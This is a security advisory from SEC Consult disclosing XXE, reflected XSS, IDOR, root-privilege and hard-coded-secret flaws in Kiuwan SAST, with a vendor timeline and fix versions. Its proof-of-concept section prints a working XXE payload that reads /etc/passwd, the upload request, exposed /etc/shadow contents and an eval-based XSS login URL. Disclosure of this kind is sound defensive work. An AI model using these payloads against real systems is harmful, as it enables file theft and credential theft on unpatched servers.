Kiuwan Local Analyzer / SAST / SaaS XML Injection / XSS / IDOR

SEC Consult Vulnerability Lab Security Advisory < 20240606-0 >=======================================================================               title: Multiple critical vulnerabilities             product: Kiuwan SAST on-premise (KOP) & cloud/SaaS                      Kiuwan Local Analyzer (KLA)  vulnerable version: Kiuwan SAST <2.8.2402.3                      Kiuwan Local Analyzer <master.1808.p685.q13371                      Kiuwan SaaS before 2024-02-05       fixed version: Kiuwan SAST 2.8.2402.3                      Kiuwan Local Analyzer master.1808.p685.q13371                      Kiuwan SaaS after 2024-02-05          CVE number: CVE-2023-49110, CVE-2023-49111, CVE-2023-49112                      CVE-2023-49113              impact: critical            homepage: https://www.kiuwan.com               found: 2022-10-28                  by: C. Schwarz (Office Bochum)                      SEC Consult Vulnerability Lab                      An integrated part of SEC Consult, an Eviden business                      Europe | Asia                      https://www.sec-consult.com=======================================================================Vendor description:-------------------"Thorough code inspection is essential for designing secure software products.While your development team may not have time to comb through every line of code,Kiuwan does. For 20 years, it has been the choice of developers to scan codeautomatically and remediate defects according to security standards like OWASP,CWE, SANS, and CERT.Static application security testing (SAST) scans for security flaws in the sourcecode without running the program. It is a white-box testing method that is thecounterpart to dynamic application software testing (DAST), which tests web applicationsfor run-time vulnerabilities. [...]Our code vulnerability scanning tools create an all-encompassing process thatbegins in the early stages of development and continues into production. Kiuwan’sstatic application security testing software fits perfectly into any DevOps environment.It uses a distributed engine and fast analysis to silently add security withoutcausing a bottleneck in your workflows. [...]"Source: https://www.kiuwan.com/code-security-sast/Business recommendation:------------------------The vendor provides a patched version for Kiuwan On-Premise (master.1808.p685.q13371)which should be installed immediately.Although initially communicated otherwise during responsible disclosure in 2022-2023(see timeline below), the vendor confirmed in 2024 that the SaaS/cloud version is affectedand will also be patched. The patch date was 2024-02-05, version 2.8.2402.3.An in-depth security analysis performed by security professionals is highly advised,to identify and resolve potential further critical security issues and to verify whetherthe developed patches really mitigate the identified critical security issues.SEC Consult also submitted further security issues to Kiuwan, such as Docker-relatedconfiguration issues which were also fixed during our responsible disclosure.Vulnerability overview/description:-----------------------------------1) XML External Entity Injection (CVE-2023-49110)When the Kiuwan Local Analyzer uploads the scan results to the web app (eitheron-premises or cloud/SaaS solution), the transmitted data consists of a ZIParchive containing several files, some of them in the XML file format.During Kiuwan's server-side processing of these XML files, it resolves externalXML entities, resulting in a XML external entity injection attack.An attacker with privileges to scan source code within the "Code Security"module is able to extract any files of the operating system with the rightsof the application server user and is potentially able to gain sensitive files,such as configuration and passwords. Furthermore, this vulnerability alsoallows an attacker to initiate connections to internal systems, e.g. forport scans or accessing other internal functions / applications such as theWildfly admin console of Kiuwan.2) Services running as rootThe Kiuwan web app process is configured to run with root privileges. In casean attacker can compromise the application (such as documented in 1), thisprovides them with unrestricted access to the system.3) Reflected Cross-Site-Scripting (CVE-2023-49111)For Kiuwan installations with SSO (single sign-on) enabled, an unauthenticatedreflected cross-site scripting attack can be performed on the login page. Thisis possible due to some request parameter values being directly included in aJavaScript block in the response. This is especially critical in businessenvironments using AD SSO authentication, e.g. via ADFS, where attackerscould potentially steal AD passwords.4) Insecure Direct Object Reference (CVE-2023-49112)Kiuwan provides an API endpoint to get information about any application,providing only its name. This endpoint lacks proper access control mechanisms,allowing other authenticated users to read information about applications, eventhough they have not been granted the necessary rights to do so.5) Sensitive Data Stored Insecurely (CVE-2023-49113)The Kiuwan Local Analyzer (KLA) Java application contains several hard-coded secrets inplain text format. In some cases, this can potentially compromise the confidentialityof the scan results.Proof of concept:-----------------1) XML External Entity Injection (CVE-2023-49110)The scan results of the Kiuwan Local Analyzer (KLA) are transmitted to the Kiuwanserver (KOP on-premise or SaaS) using several XML files packed in a ZIP archive. Eventhough the initial upload only contains encrypted .bxml files, the server also parsesregular XML files if they are present. A valid result archive with regular XML filescan be obtained by clicking on the analysis code within the analysis log feature inthe web GUI.[ screenshot xxe1.png ]Then, any XML file inside this archive can be weaponized with an XXE payload.The following snippet is taken from a manipulated metrics_python.xml file toexfiltrate the /etc/passwd file of the server:<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE replace [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><MetricReport technology='python'><ConfidenceFactors><GlobalConf>100.0</GlobalConf></ConfidenceFactors><ResumenGenerico>---[SNIP]---<high>100</high><unit>%</unit><category>documentation</category></MetricDefinition></MetricDefinitions><Items><Item id='0' type='system'>metrics: python</Item><Item id='1' parent='0' type='program'>&xxe;</Item><Item id='2' parent='0' type='program'>plugins/engines/smarty.py</Item><Item id='3' parent='0' type='program'>plugins/legacy_engines/__init__.py</Item>---[SNIP]---After re-uploading the malicious archive, the server parses the XML files andtriggers the XXE injection. The results of this particular payload can befound in the files tab of the code security module.[ screenshot xxe2.png ]The following PUT request can be used to upload the manipulated ZIP file(gathered from capturing the request between Kiuwan Local Analyzer and the server):-----------------------------------------------------------------------------PUT /saas/rest/v1/applications/analyses/report HTTP/1.1Content-Type: multipart/form-data; boundary=Boundary_1_215423993_1666774847780User-Agent: KiuwanLocalAnalyzer/master.1706.p646.q13222 (Java/11.0.16; Linux 5.19.0-kali2-amd64)Authorization: Basic [...]X-CSRF-TOKEN: b2a3a08e-3e24-4e43-98e1-870fa4b8279cX-KW-CORPORATE-DOMAIN-ID: <removed>MIME-Version: 1.0Host: KIUWAN_HOSTAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: closeContent-Length: 48193--Boundary_1_215423993_1666774847780Content-Type: text/plainContent-Disposition: form-data; name="label"XXE test--Boundary_1_215423993_1666774847780Content-Type: text/plainContent-Disposition: form-data; name="start"2022-10-26T09:00:13Z--Boundary_1_215423993_1666774847780Content-Type: text/plainContent-Disposition: form-data; name="applicationId"123--Boundary_1_215423993_1666774847780Content-Type: text/plainContent-Disposition: form-data; name="qualityModelId"1--Boundary_1_215423993_1666774847780Content-Type: text/plainContent-Disposition: form-data; name="isDelivery"false--Boundary_1_215423993_1666774847780Content-Type: application/octet-streamContent-Disposition: form-data; filename="results.zip"; name="reports"PK [...removed XXE ZIP file contents...]--Boundary_1_215423993_1666774847780-------------------------------------------------------------------------------[ screenshot xxe3.png ]2) Services running as rootBy abusing the XXE injection documented above to read the "/etc/shadow" file ofthe Kiuwan server, it is possible to retrieve its contents:root:locked::0:99999:7:::bin:*:17834:0:99999:7:::daemon:*:17834:0:99999:7:::adm:*:17834:0:99999:7:::lp:*:17834:0:99999:7:::sync:*:17834:0:99999:7:::shutdown:*:17834:0:99999:7:::halt:*:17834:0:99999:7:::mail:*:17834:0:99999:7:::operator:*:17834:0:99999:7:::games:*:17834:0:99999:7:::ftp:*:17834:0:99999:7:::nobody:*:17834:0:99999:7:::systemd-network:!!:17870::::::dbus:!!:17870::::::jboss:!!:17940::::::As only root can read this file, it can be concluded that the application server runswith root privileges. This could also be verified in the docker environment ofKiuwan on-premises.3) Reflected Cross-Site-Scripting (CVE-2023-49111)The XSS injection is possible on the login page of Kiuwan via the message parameter.To exploit the vulnerability, a victim must click on a link with the followingpayload:https://KIUWAN_HOST/saas/web/login.html?domain=XSS&message=x'%2Beval('alert(document.location)');//&sso=offThe injected JavaScript code is only executed when the victim has a Kiuwandomain id cached in their web browser's localstorage (SSO-enabled users).[ screenshot xxs.png ]4) Insecure Direct Object Reference (CVE-2023-49112)By directly querying the following API endpoint, an authenticated user withstandard privileges to access the "code security" module can query informationabout any other application, even though the permissions have not been assignedfor those specific applications:https://KIUWAN_HOST/saas/rest/v1/info/application?application=APPLICATION_NAME5) Sensitive Data Stored Insecurely (CVE-2023-49113)Several credentials were found in the JAR files of the Kiuwan Local Analyzer.a) GitHubThe JAR file "lib.engine/insight/optimyth-insight.jar" contains the file"InsightServicesConfig.properties", which has the configuration tokens"insight.github.user" as well as "insight.github.password" prefilled withcredentials. At least the specified username corresponds to a valid GitHubaccount. SEC Consult did not test those credentials.b) Encryption KeyThe JAR file "lib.engine/insight/optimyth-insight.jar" also contains the file"es/als/security/Encryptor.properties", in which the key used for encryptingthe results of any performed scan.Vulnerable / tested versions:-----------------------------All tests have been performed on Kiuwan on-premise Version 2.8.2110.2, as wellas the respective Local Analyzer (KLA) version master.1706.p646.q13222.It was assumed that Kiuwan SaaS/cloud was also affected by the identified vulnerabilitiesduring initial responsible disclosure.Originally, the vendor claimed that vulnerability 1) is not exploitable in the SaaSversion as HTTPS certificates are being verified, nevertheless we provided the vendorwith arguments why we still thought that it was exploitable, but because of lackingtest environment this could not be confirmed on our side.In early 2024 the vendor confirmed that the SaaS version is affected and is also goingto be patched.Vendor contact timeline:------------------------2022-11-08: Contacting vendor through established contacts, sharing detailed             PDF vulnerability assessment report.2022-11-11: Sharing this security advisory information in addition.2022-11-16: Asking for a status update; response that findings were escalated             internally and they are actively being reviewed.2022-11-23: Asking for a status update regarding patch availability and whether             further information is needed.2022-11-23: Vendor: Analysis complete. Critical issues will be fixed before the end             of CY23Q1. Lower risk issues will be evaluated for changes during CY23Q1             with possible implementation during CY23Q2.2022-11-25: Telling the vendor that XSS should also be fixed earlier as the use of SSO             bears an even higher risk of stealing enterprise AD credentials.2022-11-29: Vendor: the team are taking it into consideration.2023-05-09: Asking for a status update.2023-05-16: Vendor: the XSS issues will be fixed in the upcoming security update release,             which is planned in the next two months.2023-05-17: Asking for a status update for all of the identified issues again.             Informing vendor about next steps (requesting CVE numbers, etc).2023-05-31: Vendor response: "all critical issues are being addressed in the next security             update project", they are furthermore adding more details on the specific             issues:             1) XXE - Vendor: affects KOP users more than cloud, as KLA verifies HTTPS                      certificate of the server and there is no way to download                      or modify the results as they are encrypted.                      Vendor quote: "Customers using the KOP installation should take standard                      measures to protect their private networks from external actors while                      Kiuwan develops a patch for this issue."             Our answer: it is a local Java application and HTTPS checks can be bypassed.                         Encryption key is even stored in the local source code.             2) Services as root - Vendor: "There is no common exploit for this issue."             Our answer: yes, the XXE issue or any other code execution + file disclosure                         issue would be a problem; giving hints to least privileges and                         providing links to OWASP for further guidance.             3) XSS - Vendor: only affects SSO-enabled clients. "In this case, standard                      security policies should be followed for the potentially insecure                      links sent to those users."             Our answer: requesting info if this will be fixed or not and stating that                      SSO-enabled users have an even higher risk of stolen enterprise                      credentials.             4) IDOR - Vendor: "only impacts users within the customer's private domain.                       It means that information is not leaked outside the customer's                       boundaries"             Our answer: requesting further info what is meant by "private domain".                       No response to our question.             5) Data leakage: "There is no common exploit for this issue."             Our answer: Yes there is, the encryption key can be used to exploit the                         documented XXE issue.2023-06-02: Answering with very detailed statement (see our answers from above) on the why             the security issues need to be fixed and when the "next security update             project" is planned to release the patch.2023-06-13: Vendor proposes call to discuss open questions.2023-06-21: Conference call, clarifying next steps and that all issues are being worked on.2023-09-07: Asking for status update             Vendor response: "development is complete, working through quality control.             Update planned within the next month."2023-11-08: Asking for status update, affected/fixed version numbers and how customers             will be informed.             Vendor response: team made significant progress, final tests for general             availability and release by end of November.2023-11-30: Update from vendor (compliance team): "we are still actively working on             this update and project this to be ready by the end of December."2023-12-07: Expressing our concerns and dissatisfaction about the delay again.             No response.2024-01-16: Asking once again about the patch status as no information was received and             the vendor's communicated release date has passed again.             Furthermore, asked about vendor communication to customers (security note),             where customers can download the patch and changelog, and that we now plan             to release the advisory latest within four weeks on 13th February 2024.2024-01-17: Vendor: escalated our email to product management, provided the following             schedules for the resolution:             23-Jan-2024 - Kiuwan Cloud (Kiuwan SaaS)             31-Jan-2024 - Kiuwan on premise (KOP) release             No answer regarding customer communication and changelog questions.2024-01-18: Vendor: confirms the dates again, no input regarding other questions.2024-01-19: Asking vendor again about version numbers, where to obtain the patch, whether             all vulnerabilities will be fixed now including SaaS version. No response.2024-01-23: Communicated patch date for SaaS passed without patch being available nor             any info from vendor.2024-01-31: Communicated patch date for KOP passed without patch being available nor             any info from vendor.2024-02-05: Asking for a status update and answers to our questions again, assigning             CVE numbers (CVE-2023-49110, CVE-2023-49111, CVE-2023-49112, CVE-2023-49113)             and sending them to the vendor. Informing the vendor that we             will proceed now to release our advisory on 13th February because they are             non-responsive.2024-02-05: Vendor: did have delays, cloud security update is released today which fixes             all identifies issues. KOP update will be scheduled after it goes through QE             testing. Asking if we have further questions.2024-02-05: Asking about answers to our previous, still open questions again.             1) Which version number for KOP is affected and which version will the patch                have?             2) How can a customer verify to have the patch installed?             3) Whether and how/where will your customers be notified about the patch/                security update?             4) Where to obtain the patch?             5) What is this changelog about https://www.kiuwan.com/docs/display/K5/Change+log                It does not correlate to anything we see in our KOP installation.2024-02-05: Vendor: the cloud security update has been released today and is in production.2024-02-05: Vendor answers questions:             Regarding KOP, several updates are combined with the security release, no ETA             yet for KOP release, but no significant delay.             1) version updates will come with the KOP release; currently improving                versioning, changelogs will begin to contain version numbers.             2) New baseline version numbers will be released and work forward from there.             3) Release notes information will be included in the changelog. Informing                customers will be discussed via Sales and Marketing.             4) Answer about release notes and changelog which will be more robust and                versioned. No info regarding where to obtain the patch.             5) Correlation is being worked on and improved.2024-02-05: Offering to postpone the advisory release to end of February.2024-02-12: Vendor: still working an answers to our questions, release dates ready by             "end of the week".2024-02-23: Asking for a status update as nearly two weeks have passed; no response.2024-03-04: Still no response from vendor, starting preparation of advisory release.             Communicating release date for "early next week".2024-03-07: Vendor: Apologies for delay, cloud was patched on 6th February. Now             finalizing release with updates for KOP customers. Already "in final             stages of testing", release will be available "by end of April at the             latest", asking to hold off publishing the advisory. Customers will be             notified through support and/or sales with download link, customers             can verify updated version by checking changelogs.2024-03-08: Asking if they mean "end of  April" this year, extending once more.             Expressing unsatisfactory process again, as Kiuwan already communicated             back in September 2023 that the patch is ready.2024-03-11: Vendor confirms end of April this year, extra delay was needed to test             the patch to meet quality standards for delivery.2024-04-25: Asking for a status update, so far no download link was provided.             Wondering why cloud patches get prioritized although KOP users pay             an additional premium for licensing.2024-04-29: Vendor: review for upcoming KOP release is finalized, product management             team will contact us shortly.2024-05-03: Vendor: Kiuwan On Premise testing finishes by 6th May. If no issues found,             KOP will be released in week of 13th May.2024-05-17: Vendor: Download link was planned for today, but technical team faced issues             to provide a pre-release build for us. Provided changelog, but still no             fixed version number. Vendor informs us that our reported security             vulnerabilities were fixed.2024-05-21: Asking Kiuwan to confirm that our submitted security issues have really             been fixed (mentioned in changelog from February 2024). Asking for a             public download link (no pre-release build) and version number.2024-05-22: Vendor: passed information about five vulnerabilities to Kiuwan team             for verification, but our five reported issues should be fixed.             Version number not available before GA release.             Targeting release for early next week.2024-06-01: Vendor informs us that a new KOP version was released, provides changelog             and reference numbers, upgrade guide.2024-06-06: Coordinated release of security advisory.Solution:---------The vendor provides a patched version master.1808.p685.q13371 which should be installedimmediately. See the changelog from the vendor:https://www.kiuwan.com/docs/display/K5/%5B2024-05-30%5D+Change+Log* XML External Entity Injection => CVE-2023-49110 is SAS-6851 fixed on release 2024-02-06* Services Running as Root => is SAS-6856 and SAS-6857 fixed on release 2024-05-15* Reflected Cross-site-scripting => CVE-2023-49111 is SAS-6852 fixed on release 2024-02-06* Insecure Direct Object Reference => CVE-2023-49112 is SAS-6853 fixed on release 2024-02-06* Sensitive Data Stored Insecurely => CVE-2023-49113 is SAS-6854, SAS-6855, SAS-6858, and SAS-6859 fixed on release 2024-02-06The following upgrade guide was provided by the vendor:https://www.kiuwan.com/docs/display/K5/Kiuwan+On-Premises+Distributed+Upgrade+GuideAlthough initially communicated otherwise during responsible disclosure in 2022-2023(see timeline above), the vendor confirmed in 2024 that the SaaS/cloud version is affectedand will also be patched. The patch date was 2024-02-05, version 2.8.2402.3.SEC Consult also submitted further security issues to Kiuwan, such as Docker-relatedconfiguration issues which were also fixed during our responsible disclosure.* Sensitive Data Stored Insecurely for MySQL* Sensitive Data displayed for wildfly* Containers Running as root User* Containers running in the host network* Exposure of Internal ServicesWorkaround:-----------NoneAdvisory URL:-------------https://sec-consult.com/vulnerability-lab/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~SEC Consult Vulnerability LabAn integrated part of SEC Consult, an Eviden businessEurope | AsiaAbout SEC Consult Vulnerability LabThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, anEviden business. It ensures the continued knowledge gain of SEC Consult in thefield of network and application security to stay ahead of the attacker. TheSEC Consult Vulnerability Lab supports high-quality penetration testing andthe evaluation of new offensive and defensive technologies for our customers.Hence our customers obtain the most current information about vulnerabilitiesand valid recommendation about the risk profile of new technologies.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Interested to work with the experts of SEC Consult?Send us your application https://sec-consult.com/career/Interested in improving your cyber security with the experts of SEC Consult?Contact our local offices https://sec-consult.com/contact/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Mail: security-research at sec-consult dot comWeb: https://www.sec-consult.comBlog: https://blog.sec-consult.comTwitter: https://twitter.com/sec_consultEOF Constantin Schwarz, Johannes Greil / @2024